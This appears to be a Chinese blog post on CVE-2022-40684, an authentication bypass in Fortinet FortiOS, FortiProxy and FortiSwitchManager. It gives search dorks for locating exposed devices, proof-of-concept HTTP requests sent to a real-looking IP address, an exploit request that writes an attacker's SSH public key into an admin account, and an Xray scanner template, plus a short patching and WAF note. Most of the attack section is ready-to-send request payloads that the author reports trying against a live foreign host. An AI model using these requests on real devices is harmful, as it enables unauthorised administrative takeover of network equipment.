CVE-2022-40684 Fortinet(飞塔)身份验证绕过漏洞

GitHub地址:

https://github.com/hughink/CVE-2022-40684

漏洞简介

Fortinet(飞塔)是一家全球知名的网络安全产品和安全解决方案提供商,其产品包括防火墙、防病毒软件、入侵防御系统和终端安全组件等。在受影响的FortiOS、FortiProxy 和 FortiSwitchManager产品的管理界面中,可以通过使用备用路径或通道绕过身份验证,并在未经认证的情况下通过特制的HTTP或HTTPS请求对管理界面进行操作。

影响版本

  • FortiOS 版本 7.2.0 - 7.2.1

  • FortiOS 版本 7.0.0 - 7.0.6

  • FortiProxy 版本 7.2.0

  • FortiProxy 版本 7.0.0 - 7.0.6

  • FortiSwitchManager 版本 7.2.0

  • FortiSwitchManager 版本 7.0.0

搜索语法

title="FortiProxy"

title="FortiGate"

Poc数据包

GET /api/v2/cmdb/system/admin HTTP/2Host: 35.192.137.121User-Agent: Node.jsAccept-Encoding: gzip, deflateAccept: */*Hosts: 127.0.0.1:9980Forwarded: by="[127.0.0.1]:80";for="[127.0.0.1]:49490";proto=http;host=X-Forwarded-Vdom: root

Exp数据包

PUT /api/v2/cmdb/system/admin/用户名 HTTP/2Host: 目标User-Agent: Report RunnerAccept-Encoding: gzip, deflateAccept: */*Connection: closeForwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"Content-Length: 589Content-Type: application/json
{"ssh-public-key1": "\"公钥内容\""}

漏洞复现

经过实验发现User-Agent只能为Node.js,Hosts可以删除,Forwarded中by和for的值可以为空,X-Forwarded-Vdom可以是任意值,最精简Poc:

GET /api/v2/cmdb/system/admin HTTP/2Host: 35.192.137.121User-Agent: Node.jsAccept-Encoding: gzip, deflateAccept: */*Forwarded: by=""for=""X-Forwarded-Vdom: abcd

测试结果如图,想了想美国IP就算打码了:

CVE-2022-40684 Fortinet(飞塔)身份验证绕过漏洞_第1张图片

漏洞利用部分就查看hughink的GitHub吧,写的挺详细的。

Xray Poc

name: poc-yaml-Fortinet-CVE-2022-40684manual: truetransport: httprules:    r1:        request:            method: GET            path: /api/v2/cmdb/system/admin            headers:                User-Agent: Node.js                Forwarded: by=""for=""                X-Forwarded-Vdom: root            follow_redirects: false        expression:            response.status==200 && response.body.bcontains(b"revision") && response.body.bcontains(b"q_origin_key")expression:    r1()detail:    author: Infiltrator    links:        - https://github.com/NHPT

漏洞检测结果:

CVE-2022-40684 Fortinet(飞塔)身份验证绕过漏洞_第2张图片

防护建议

除了升级版本安装补丁外,由于User-Agent的值固定,Forwarded和X-Forwarded-Vdom存在,所以特征还是很明显的,设置WAF策略应该也是不容易绕过的。

你可能感兴趣的:(渗透测试,web安全,CVE-2022-40684,飞塔身份验证绕过漏洞)